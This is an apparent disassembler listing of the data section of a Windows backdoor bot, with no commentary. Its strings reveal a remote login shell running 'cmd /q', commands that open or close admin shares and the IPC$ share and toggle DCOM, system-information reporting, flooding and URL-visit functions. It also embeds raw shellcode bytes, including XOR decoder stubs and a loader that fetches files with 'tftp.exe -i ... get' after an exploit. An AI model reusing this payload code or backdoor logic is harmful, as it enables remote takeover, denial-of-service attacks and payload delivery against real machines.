XREF: .data:00434C18o align 10h aIpc db 'IPC$',0 ; DATA XREF: .data:off_434C10o align 4 unk_434C58 db 2 ; DATA XREF: sub_412976+2E5o ; sub_412D63+2D8o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dd 2 dup(0) unk_434C9C db 2 ; DATA XREF: sub_412976+2CFo db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aNetworkSharesD db ' Network shares deleted.',0 dd 3 dup(0) unk_434CD8 db 2 ; DATA XREF: sub_412976:loc_412BD8o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 10h dd 2 dup(0) unk_434D18 db 2 ; DATA XREF: sub_412976+25Bo db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 dd 2 dup(0) unk_434D4C db 2 ; DATA XREF: sub_412976:loc_412B45o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 4 dd 2 dup(0) unk_434D8C db 2 ; DATA XREF: sub_412976+1C8o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 10h unk_434DC0 db 2 ; DATA XREF: sub_412976:loc_412AA8o ; sub_412D63:loc_412E91o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dd 2 dup(0) unk_434E04 db 2 ; DATA XREF: sub_412976:loc_412AA1o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 dd 3 dup(0) unk_434E58 db 2 ; DATA XREF: sub_412976:loc_412A83o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 dd 3 dup(0) unk_434EA4 db 2 ; DATA XREF: sub_412976+106o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 dd 3 dup(0) aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_412976+EDo ; sub_412D63+EDo align 10h unk_434F10 db 2 ; DATA XREF: sub_412976+91o ; sub_412D63+91o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dd 3 dup(0) dword_434F58 dd 20025B02h, 6573202Dh, 1F727563h, 2D201F65h, 25D0220h ; DATA XREF: sub_412976:loc_4129E3o dd 2020BB20h, 4D4F4344h, 73696420h, 656C6261h, 2E64h, 2 dup(0) unk_434F88 db 2 ; DATA XREF: sub_412976+66o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aDisableDcomFai db ' Disable DCOM failed.',0 align 10h aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_412976+54o ; sub_412D63+54o align 10h word_434FD0 dw 4Eh ; DATA XREF: sub_412976+38r align 4 unk_434FD4 db 2 ; DATA XREF: sub_412D63+2C0o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aNetworkSharesA db ' Network shares added.',0 align 4 dd 2 dup(0) aC db '%c:\',0 ; DATA XREF: sub_412D63+22Ao align 4 aC_0 db '%c$',0 ; DATA XREF: sub_412D63+219o unk_435018 db 2 ; DATA XREF: sub_412D63:loc_412F02o ; sub_412D63:loc_412FD0o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 4 dd 2 dup(0) unk_435054 db 2 ; DATA XREF: sub_412D63+198o ; sub_412D63+266o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 10h dd 2 dup(0) unk_435088 db 2 ; DATA XREF: sub_412D63:loc_412E8Ao db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 10h dd 3 dup(0) unk_4350DC db 2 ; DATA XREF: sub_412D63:loc_412E6Co db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 align 4 dd 3 dup(0) unk_435128 db 2 ; DATA XREF: sub_412D63+102o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 align 10h dd 4 dup(0) dword_435180 dd 20025B02h, 6573202Dh, 1F727563h, 2D201F65h, 25D0220h ; DATA XREF: sub_412D63:loc_412DD0o dd 2020BB20h, 4D4F4344h, 616E6520h, 64656C62h, 2Eh, 2 dup(0) unk_4351B0 db 2 ; DATA XREF: sub_412D63+66o db 5Bh, 2, 20h db 2Dh ; - db 20h, 73h, 65h db 63h ; c db 75h, 72h, 1Fh db 65h ; e db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aEnableDcomFail db ' Enable DCOM failed.',0 dd 2 dup(0) word_4351E4 dw 59h ; DATA XREF: sub_412D63+38r align 4 aRlogindWaitfor db '[RLOGIND]: WaitForMultipleObjects error: <%d>.',0 ; DATA XREF: .text:00413242o align 10h aRlogindFailedT db '[RLOGIND]: Failed to create ReadShell session thread, error: <%d>' ; DATA XREF: .text:004131BDo ; .text:004131EFo db '.',0 align 10h aRlogindFaile_2 db '[RLOGIND]: Failed to execute shell.',0 ; DATA XREF: sub_413309+AFo dd 2 dup(0) aRlogindFaile_1 db '[RLOGIND]: Failed to create shell stdin pipe, error: <%d>.',0 ; DATA XREF: sub_413309+7Eo align 4 dd 3 dup(0) aRlogindFaile_0 db '[RLOGIND]: Failed to create shell stdout pipe, error: <%d>.',0 ; DATA XREF: sub_413309+5Co dd 3 dup(0) aRlogindFaile_3 db '[RLOGIND]: Failed to execute shell, error: <%d>.',0 ; DATA XREF: sub_413440+C3o align 10h dd 2 dup(0) aCmdQ db 'cmd /q',0 ; DATA XREF: sub_413440+8Co align 10h aRlogindSession db '[RLOGIND]: SessionReadShellThread exited, error: <%ld>.',0 ; DATA XREF: sub_41354F+A1o dd 3 dup(0) dword_4353B4 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_413993+C4o db 66h, 0B9h word_4353C2 dw 0FFFFh ; DATA XREF: sub_413993+CCw db 80h, 73h, 0Eh byte_4353C7 db 0FFh ; DATA XREF: sub_413993+D3w dd 0F9E243h dword_4353CC dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_413993+A2o db 0B1h byte_4353D9 db 0FFh ; DATA XREF: sub_413993+AAw dw 7380h db 0Ch byte_4353DD db 0FFh ; DATA XREF: sub_413993+B0w dw 0E243h dd 0F9h dword_4353E4 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_4137C0+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_435448 dd 12h ; DATA XREF: sub_4137C0+3Dw dd 70746674h, 6578652Eh, 20692D20h aGet_0 db ' get ',0 ; DATA XREF: sub_4137C0+79o aJ_0 db 'j',0 db 0E8h dword_435461 dd 17h ; DATA XREF: sub_4137C0+4Dw db 75h, 1, 0C3h db 0E8h dword_435469 dd 1 ; DATA XREF: sub_4137C0+45w byte_43546D db 0, 6Ah, 0 ; DATA XREF: sub_4137C0+C2o dd 7E8h db 0, 0Fh, 84h dword_435477 dd 0FFFFFFEDh ; DATA XREF: sub_4137C0+5Dw db 0C3h dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h dd 0C3h, 0Ch dup(0) dword_4354D8 dd 20025B02h, 7973202Dh, 1F6E1F6Ch, 2202D20h, 0BB20025Dh ; DATA XREF: .text:00413B23o aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 dd 2 dup(0) dword_435514 dd 20025B02h, 7973202Dh, 1F6E1F6Ch, 2202D20h, 0BB20025Dh ; DATA XREF: sub_413B9E+27Do aSendErrorD_ db ' Send error: <%d>.',0 dd 2 dup(0) aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_413F6C+52o dd 0 aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_414190+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 dd 0Ah dup(0) aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_414190+192o dd 0 aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_414190:loc_4142F4o align 10h aSS_5 db '%s (%s)',0 ; DATA XREF: sub_414190+EBo dd 0 a2003 db '2003',0 ; DATA XREF: sub_414190+BAo align 4 aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_4144F1+ABo align 10h off_4356E0 dd offset loc_412F4E ; DATA XREF: sub_4144F1:loc_414565o dword_4356E4 dd 4E414Ch ; DATA XREF: sub_4144F1:loc_41455Eo aDialUp db 'Dial-up',0 ; DATA XREF: sub_4144F1+5Bo dd 0 aNotConnected db 'Not connected',0 ; DATA XREF: sub_4144F1+48o align 4 dword_435704 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_4145E8+493o dword_435710 dd 726D655Bh, 5D322D33h, 70786520h, 74696F6Ch, 69206465h ; DATA XREF: sub_4145E8+47Fo dd 203A2070h, 202C7325h, 0FD6C61E7h, 72FD74FEh, 0FD646CFDh dd 732520h, 2 dup(0) dword_435744 dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4145E8+3B6o aFileNotFoundSS db ' File not found: %s (%s).',0 align 4 dd 2 dup(0) dword_43577C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh, 0 ; DATA XREF: sub_4145E8+399o dword_435794 dd 20025B02h, 5845202Dh, 494F4C50h, 20444554h, 5D02202Dh ; DATA XREF: sub_4145E8+33Eo dd 20BB2002h, 202C7325h, 6E65706Fh, 20676E69h, 7325h, 2 dup(0) dword_4357C4 dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4145E8+15Ao aFailedToOpenFi db ' Failed to open file: %s.',0 align 4 dd 2 dup(0) dword_4357FC dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4145E8+6Ao aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0 align 4 dd 3 dup(0) aOctet db 'octet',0 ; DATA XREF: sub_4145E8+Fo align 10h aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_414D07+10o dd 0 aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_414F49+51o align 10h aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_414F49+35o align 10h unk_4358B0 db 2 ; DATA XREF: .text:loc_4151FFo db 5Bh, 2, 20h db 2Dh ; - db 20h, 76h, 69h db 73h ; s db 69h, 6Ch, 1Fh db 74h ; t db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 dd 3 dup(0) unk_4358F8 db 2 ; DATA XREF: .text:loc_4151F8o db 5Bh, 2, 20h db 2Dh ; - db 20h, 76h, 69h db 73h ; s db 69h, 6Ch, 1Fh db 74h ; t db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aCouldNotOpenAC db ' Could not open a connection.',0 align 10h dd 2 dup(0) dword_435938 dd 20025B02h, 6976202Dh, 1F6C6973h, 2D201F74h, 25D0220h ; DATA XREF: .text:004151E6o dd 2020BB20h, 61766E49h, 2064696Ch, 2E4C5255h, 2 dup(0) unk_435964 db 2 ; DATA XREF: .text:loc_4151D9o db 5Bh, 2, 20h db 2Dh ; - db 20h, 76h, 69h db 73h ; s db 69h, 6Ch, 1Fh db 74h ; t db 1Fh, 20h, 2Dh db 20h db 2, 5Dh, 2 aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dd 3 dup(0) dword_4359B8 dd 20025B02h, 6976202Dh, 1F6C6973h, 2D201F74h, 25D0220h ; DATA XREF: .text:004151D2o dd 2020BB20h, 204C5255h, 69736976h, 2E646574h, 2 dup(0) dword_4359E4 dd 2A2F2Ah ; DATA XREF: .text:00415081o off_4359E8 dd offset off_427618 ; DATA XREF: .rdata:off_427E48o ; .rdata:00427F74o ... align 10h a_?avexception@ db '.?AVexception@@',0 off_435A00 dd offset off_427618 ; DATA XREF: .rdata:off_427E60o ; .rdata:00427EF4o ... align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h off_435A20 dd offset off_427618 ; DATA XREF: .rdata:off_427E78o ; .rdata:00427EBCo ... align 8 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_435A40 dd offset off_427618 ; DATA XREF: .rdata:off_427F00o ; .rdata:00427F44o ... align 8 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h dword_435A60 dd 173Fh ; DATA XREF: sub_415D9B+Dr dd 9875h, 9873h off_435A6C dd offset sub_415E6A ; DATA XREF: sub_4177E0r dd offset nullsub_3 dd offset nullsub_3 dword_435A78 dd 1B3Fh ; DATA XREF: sub_415EF3+Dr dword_435A7C dd 19930520h, 4 dup(0) ; DATA XREF: sub_416395+2o ; sub_41639E+2o dword_435A90 dd 18B8F118h ; DATA XREF: sub_416B0E+4w sub_416B18r ... align 10h off_435AA0 dd offset sub_41781E ; DATA XREF: sub_417FC6+1Cr dword_435AA4 dd 2 ; DATA XREF: sub_41D92C+Er ; sub_41D965+46r ... off_435AA8 dd offset off_427618 ; DATA XREF: .rdata:off_427F80o ; .rdata:00427FBCo align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_41DAE9 dd 10h dword_435AC8 dd 3F8h ; DATA XREF: sub_415D36+5r ; sub_416ED2+4Dr ... align 10h dword_435AD0 dd 14h ; DATA XREF: sub_41997F+2o off_435AD4 dd offset aExp ; DATA XREF: sub_41997F:loc_41999Cr ; "exp" dd 1Dh, 4276E8h, 1Ah, 42F53Ch, 1Bh, 4276E0h, 1Fh, 4276D8h dd 13h, 4276D0h, 21h, 4276C8h, 0Eh, 4276C0h, 0Dh, 4276B8h dd 0Fh, 4276B0h, 10h, 4276A8h, 5, 4276A0h, 1Eh, 42769Ch dd 12h, 427698h, 20h, 427694h, 0Ch, 42768Ch, 0Bh, 427684h dd 15h, 42767Ch, 1Ch, 427674h, 19h, 42766Ch, 11h, 427664h dd 18h, 42765Ch, 16h, 427654h, 17h, 42764Ch, 22h, 427648h dd 23h, 427644h, 24h, 427640h dbl_435BA8 dq 1.797693134862316e308 ; DATA XREF: sub_4196BA+B7r ; sub_4196BA:loc_4197A1r ... dd 0 dd 0FFF80000h dbl_435BB8 dq 1.797693134862316e308 ; DATA XREF: sub_4196BA+92r ; sub_4196BA:loc_419779r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_435BD0 dt 2.3562723457267347066e313 ; DATA XREF: sub_419BCB+Dr ; sub_419BCB+1Fr align 4 tbyte_435BDC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419BCB+31r align 4 off_435BE8 dd offset sub_41A05F ; DATA XREF: sub_415E82+Fw ; sub_41AAED+3AAr off_435BEC dd offset sub_419CF4 ; DATA XREF: sub_415E82+5w ; sub_41AAED+3E2r off_435BF0 dd offset sub_419D5A ; DATA XREF: sub_415E82+14w ; sub_41B320+430r off_435BF4 dd offset sub_419C9A ; DATA XREF: sub_415E82+1Ew ; sub_41AAED+3CBr off_435BF8 dd offset sub_419D42 ; DATA XREF: sub_415E82+28w off_435BFC dd offset sub_41A05F ; DATA XREF: sub_415E82+32w dd offset sub_41DAE9 align 10h off_435C10 dd offset sub_41A91C ; DATA XREF: .text:0041A972r off_435C14 dd offset sub_41A91C ; DATA XREF: sub_41A982+29r off_435C18 dd offset aNull ; DATA XREF: sub_41AAED:loc_41AE51r ; sub_41AAED+457r ; "(null)" off_435C1C dd offset aNull_0 ; DATA XREF: sub_41AAED+259r ; "(null)" asc_435C20 db ' ',9,'-',0Dh,']',0 ; DATA XREF: sub_41B320:loc_41B887o align 4 asc_435C28: ; DATA XREF: sub_41B320:loc_41B777o unicode 0, <]>,0 off_435C2C dd offset word_435C36 ; DATA XREF: sub_416C44+23r ; sub_416C44:loc_416CA5r ... dd offset word_435C36 db 2 dup(0) word_435C36 dw 20h ; DATA XREF: sub_41F7D9+18r ; .data:off_435C2Co ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_435E38 dd 1 ; DATA XREF: sub_416C44:loc_416C4Cr ; sub_416C44:loc_416C90r ... byte_435E3C db 2Eh ; DATA XREF: sub_419C9A:loc_419CDAr ; sub_419CF4+4r ... align 10h dd 1, 0 dword_435E48 dd 1 ; DATA XREF: sub_41C4E8+Co dword_435E4C dd 16h ; DATA XREF: sub_41C4E8:loc_41C51Dr dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch byte_435FB0 db 1 ; DATA XREF: sub_41C4E8+19o ; sub_41C6E5+E1r db 2, 4, 8 align 8 dword_435FB8 dd 3A4h ; DATA XREF: sub_41C6E5+2Fo dword_435FBC dd 82798260h ; DATA XREF: sub_41C6E5+11Dr dd 21h, 0 dword_435FC8 dd 0DFA6h ; DATA XREF: sub_41C6E5+C0r align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_4360A8 dd 0C0000005h ; DATA XREF: sub_41C6E5+3Co ; sub_41D1AB+Ar ... dword_4360AC dd 0Bh ; DATA XREF: sub_420445+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_436120 dd 3 ; DATA XREF: sub_41D06A+58r ; sub_420318+C8r dword_436124 dd 7 ; DATA XREF: sub_41D06A+5Er ; sub_420318+CDr dword_436128 dd 0Ah ; DATA XREF: sub_41D1AB+4r ; .text:00420232r ... dword_43612C dd 8Ch ; DATA XREF: sub_41D06A+82r ; sub_41D06A+8Fw ... dword_436130 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41A9D8:loc_41AA95o ; sub_41C031:loc_41C0B2o dword_436138 dd 2 ; DATA XREF: sub_41D965+Eo ; sub_41D965+28r ... off_43613C dd offset aR6002FloatingP ; DATA XREF: sub_41D965+FCr ; sub_41D965+12Dr ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427A74h, 9, 427A48h, 0Ah, 427A24h, 10h, 4279F8h dd 11h, 4279C8h, 12h, 4279A4h, 13h, 427978h, 18h, 427940h dd 19h, 427918h, 1Ah, 4278E0h, 1Bh, 4278A8h, 1Ch, 427880h dd 78h, 427870h, 79h, 427860h, 7Ah, 427850h, 0FCh, 42BFC0h dd 0FFh, 427840h dword_4361C8 dd 2694h ; DATA XREF: sub_419218+3r ; .text:00419276r ... align 10h dword_4361D0 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_41E0A2o dword_4361E8 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41E0B8o off_436200 dd offset dword_492E40 ; DATA XREF: sub_41E5E8+55o align 8 dd offset dword_492E40 dd 101h dword_436210 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41E5E8+72o dd 1000h, 0 dword_436220 dd 3 dup(0) ; DATA XREF: sub_41A9D8+50o ; sub_41CB5F+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_436240 dd 3 dup(0) ; DATA XREF: sub_41A9D8+58o ; sub_41CB5F:loc_41CB7Do dd 2, 0FFFFFFFFh, 7 dup(0) dword_436270 dd 84h dup(0) ; DATA XREF: sub_41E5E8+9Bo dword_436480 dd 7080h ; DATA XREF: sub_41C623+76r ; sub_41E5E8+69o ... dword_436484 dd 1 ; DATA XREF: sub_41C623+98r ; sub_41F1B2+8Bw ... dword_436488 dd 0FFFFF1F0h ; DATA XREF: sub_41C623:loc_41C6D5r ; sub_41F1B2+94w ... dword_43648C dd 545350h, 0Fh dup(0) ; DATA XREF: .data:off_43650Co dword_4364CC dd 544450h, 0Fh dup(0) ; DATA XREF: .data:off_436510o off_43650C dd offset dword_43648C ; DATA XREF: sub_41F1B2+BAr ; sub_41F1B2+D9r ... off_436510 dd offset dword_4364CC ; DATA XREF: sub_41F1B2+F4r ; sub_41F1B2+11Br ... align 8 dword_436518 dd 0FFFFFFFFh ; DATA XREF: sub_41F1B2+1Dw ; sub_41F410+1Er ... dword_43651C dd 0 ; DATA XREF: sub_41F410:loc_41F544r ; sub_41F5BC+BFw dword_436520 dd 0 ; DATA XREF: sub_41F410+192r ; sub_41F5BC+E0w align 8 dword_436528 dd 0FFFFFFFFh ; DATA XREF: sub_41F1B2+17w ; sub_41F410+26r ... dword_43652C dd 0 ; DATA XREF: sub_41F410+13Ar ; sub_41F5BC+EAw ... dword_436530 dd 0 ; DATA XREF: sub_41F410+1A1r ; sub_41F5BC+23r ... dword_436534 dd 0FFFFFFFFh ; DATA XREF: sub_41F5BC+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_436564 dd 16Dh ; DATA XREF: sub_41C623+2Ar ; sub_41F5BC+2Er ... dword_436568 dd 0FFFFFFFFh ; DATA XREF: sub_41F5BC:loc_41F648r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_4365A0 dd 2 dup(0) ; DATA XREF: sub_420942+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) dd 400FC350h, 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_436700 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_420942+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 dd 74h, 212h dup(0) dword_4370AC dd 3 dup(0) ; DATA XREF: sub_401F4B+68o dword_4370B8 dd 0 ; DATA XREF: sub_401896+13o 